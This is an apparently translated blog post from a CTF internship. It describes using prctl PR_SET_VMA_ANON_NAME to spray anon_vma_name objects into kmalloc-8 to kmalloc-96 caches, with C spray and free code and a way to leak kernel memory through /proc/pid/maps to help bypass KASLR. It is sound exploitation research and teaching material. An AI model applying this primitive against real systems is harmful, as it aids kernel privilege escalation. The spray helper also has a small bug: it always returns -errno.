prctl anon_vma_name:一种有趣的Linux内核堆喷技术
TLDR
prctl PR_SET_VMA(PR_SET_VMA_ANON_NAME)可作为一种(可能是新的!)堆喷方法,针对kmalloc-8到kmalloc-96缓存。被喷洒的对象anon_vma_name具有动态大小,范围从大于4字节到最大84字节。该对象可通过prctl系统调用轻松分配和释放,泄露的信息可通过读取/proc/pid/maps文件获取。此方法的优势在于它不需要从cg/其他缓存进行跨缓存攻击(与msg_msg等其他对象不同),因为anon_vma_name是使用GFP_KERNEL标志分配的。
引言和背景
在实习期间,我遇到了一个内核pwn CTF挑战,旨在教授一些基础技术。涉及的漏洞是导致写入的竞争条件,挑战的一部分涉及泄露随机生成的密钥,该密钥会在数据写入内存位置之前与数据进行异或操作。然而,写入的方式意味着它会从目标内存位置的开头写入大量字节(由于不知道异或密钥,写入不可控),并且会破坏许多常见可喷洒对象(如msg_msg、setxattr或add_key)的头部。对象大小的限制及其分配到GFP_KERNEL kmalloc缓存也意味着,为了喷洒其中一些常见对象,我必须执行跨缓存攻击,而对于某些对象(如sk_buff),跨缓存必须跨越不同阶的页面。
在绝望中寻找一个不那么烦人的可喷洒对象时,我开始查看系统调用。理想情况下,我想要这样的对象:
- 可以从用户空间分配和释放
- 可以从用户空间读取
- 相当无用/具有无用的头部(这样,如果我用随机垃圾覆盖头部然后尝试释放对象,不会导致内核恐慌)
符合这些条件的对象可能是那些存储字符串的对象,这些字符串是某些东西的名称(例如主机名),尽管uname使用的结构(我原本希望是一个可行的喷洒)不幸地在栈上分配。然后,我找到了prctl。
什么是prctl?
根据Linux手册页,prctl()操作调用线程或进程行为的各个方面。
1
2
|
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
|
它执行许多不同的操作,但我感兴趣的选项是PR_SET_VMA及其子选项PR_SET_VMA_ANON_NAME。基本上,PR_SET_VMA为大小为arg4的虚拟内存区域arg3设置arg2中定义的属性。arg5指定要设置的属性值。如果arg2是PR_SET_VMA_ANON_NAME,它将为匿名虚拟内存区域设置名称。这听起来像是一个无用的、可喷洒的结构!
为了使此功能工作,必须启用CONFIG_ANON_VMA_NAME选项。据我所知,这在默认的Ubuntu内核配置中是启用的。对于此挑战,我使用的是Linux内核版本6.1.37。
让我们看看anon_vma_name结构:
1
2
3
4
5
6
7
8
|
struct anon_vma_name {
struct kref kref;
char name[]; /* 名称需要放在末尾,因为它是动态大小的。 */
};
struct kref {
refcount_t refcount;
};
|
看起来非常无用!头部为4字节(因为struct kref是4字节),name是动态大小的。名称字符数组的最大大小为80,因此此对象的大小范围可以从大于4字节到84字节。
让我们跟踪内核代码流:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
static int prctl_set_vma(unsigned long opt, unsigned long addr,
unsigned long size, unsigned long arg)
{
struct mm_struct *mm = current->mm;
const char __user *uname;
struct anon_vma_name *anon_name = NULL;
int error;
switch (opt) {
case PR_SET_VMA_ANON_NAME:
uname = (const char __user *)arg;
if (uname) {
char *name, *pch;
name = strndup_user(uname, ANON_VMA_NAME_MAX_LEN);
if (IS_ERR(name))
return PTR_ERR(name);
for (pch = name; *pch != '\0'; pch++) {
if (!is_valid_name_char(*pch)) { // [1]
kfree(name);
return -EINVAL;
}
}
/* anon_vma有自己的副本 */
anon_name = anon_vma_name_alloc(name); // [2]
kfree(name);
if (!anon_name)
return -ENOMEM;
}
mmap_write_lock(mm);
error = madvise_set_anon_name(mm, addr, size, anon_name);
mmap_write_unlock(mm);
anon_vma_name_put(anon_name);
break;
default:
error = -EINVAL;
}
return error;
}
|
在上面的代码中,它检查([1])输入的名称是否具有有效的可打印字符。如果检查通过([2]),则调用anon_vma_name_alloc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
struct anon_vma_name *anon_vma_name_alloc(const char *name)
{
struct anon_vma_name *anon_name;
size_t count;
/* 为anon_name->name末尾的NUL终止符添加1 */
count = strlen(name) + 1;
anon_name = kmalloc(struct_size(anon_name, name, count), GFP_KERNEL); // [3]
if (anon_name) {
kref_init(&anon_name->kref);
memcpy(anon_name->name, name, count);
}
return anon_name;
}
|
这里([3]),结构通过kmalloc分配,并且由于指定了GFP_KERNEL,它将进入正常的kmalloc缓存。这非常方便,因为我们可以基本上将其喷洒到从kmalloc-8到kmalloc-96的任何缓存中,并且可以避免从cg缓存进行任何烦人的跨缓存!
让我们看看如何从喷洒中读取(感谢我的导师提供这一部分!)。查看show_map_vma函数:
1
2
3
4
5
6
7
8
9
10
11
12
|
if (file) {
seq_pad(m, ' ');
/*
* 如果用户通过prctl(PR_SET_VMA ...)命名此匿名共享内存,
* 使用提供的名称。
*/
if (anon_name)
seq_printf(m, "[anon_shmem:%s]", anon_name->name);
else
seq_file_path(m, file, "\n");
goto done;
}
|
由于使用了新设置的名称,我们可以通过/proc/pid/maps文件读取它,从而可能从maps文件泄露内核内存中的内容。然而,此方法的限制是,如果要泄露的信息包含空字节,它将打印到这些空字节然后停止。如果你幸运且有一个没有空字节的内核文本/堆指针,此方法可能用于绕过KASLR。
让我们看看喷洒如何被释放:
1
2
3
4
5
6
|
void anon_vma_name_free(struct kref *kref)
{
struct anon_vma_name *anon_name =
container_of(kref, struct anon_vma_name, kref);
kfree(anon_name);
}
|
推测此对象的释放方式类似于文件的释放方式。当进程死亡,或者再次调用prctl并将名称缓冲区设置为NULL时,引用计数递减。如果引用计数变为0,则anon_vma_name对象被释放。
如何喷洒anon_vma_name
喷洒anon_vma_name很简单:只需使用带有PR_SET_VMA和PR_SET_VMA_ANON_NAME参数的prctl系统调用。一种方法如下所示(代码不好请见谅):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
#define NUM_PRCTLS 1024
void * address[NUM_PRCTLS];
int rename_vma(unsigned long addr, unsigned long size, char *name) {
int res;
res = prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, addr, size, name);
if (res < 0)
perror("[!] prctl");
return -errno;
return res;
}
static void spray_vma_name(void) {
for (int idx = 0; idx < NUM_PRCTLS; idx++) {
address[idx] = mmap(NULL, 1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
char buf[80];
char test_str[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
memcpy(buf, test_str, 72);
char store[8];
memset(store, 0, 8);
sprintf(store, "%d", idx);
memcpy(&buf[72], store, 8);
rename_vma((unsigned long) address[idx], 1024, buf);
}
}
|
分配的名称需要不同,因为如果使用相同的名称,内核将重用相同的anon_vma_name对象,喷洒将失败。这在内核代码中显示:
1
2
3
4
5
6
7
8
9
10
11
|
static inline
struct anon_vma_name *anon_vma_name_reuse(struct anon_vma_name *anon_name)
{
/* 防止anon_name引用计数过早饱和 */
if (kref_read(&anon_name->kref) < REFCOUNT_MAX) {
anon_vma_name_get(anon_name);
return anon_name;
}
return anon_vma_name_alloc(anon_name->name);
}
|
在gdb中,喷洒看起来如下(喷洒上方的垃圾数据是我想读取的,由于挑战的工作方式,它被写入与喷洒对象相同的地址):
![喷洒可视化]
为了从喷洒中读取,您只需要cat /proc/pid/maps文件!
![maps文件输出]
您也可以在代码中以编程方式执行此操作:
![代码读取示例]
最后一个十六进制数是写入anon_vma_name对象的泄露密钥,与第一张图像中的相同。
正如我的实习同事所说,这相当于通过任务管理器从内核内存泄露东西:D
要释放喷洒,您只需要再次使用prctl系统调用,但这次将名称缓冲区设置为NULL。
1
2
3
|
for (int i = 0; i < NUM_PRCTLS; i++) {
rename_vma((unsigned long) address[i], 1024, NULL);
}
|
结论
prctl的PR_SET_VMA可用作一种方便的堆喷方法,针对kmalloc-8到kmalloc-96。感谢Billy的指导,我希望在接下来的几周里学习和发现更多有趣的东西!:D
参考文献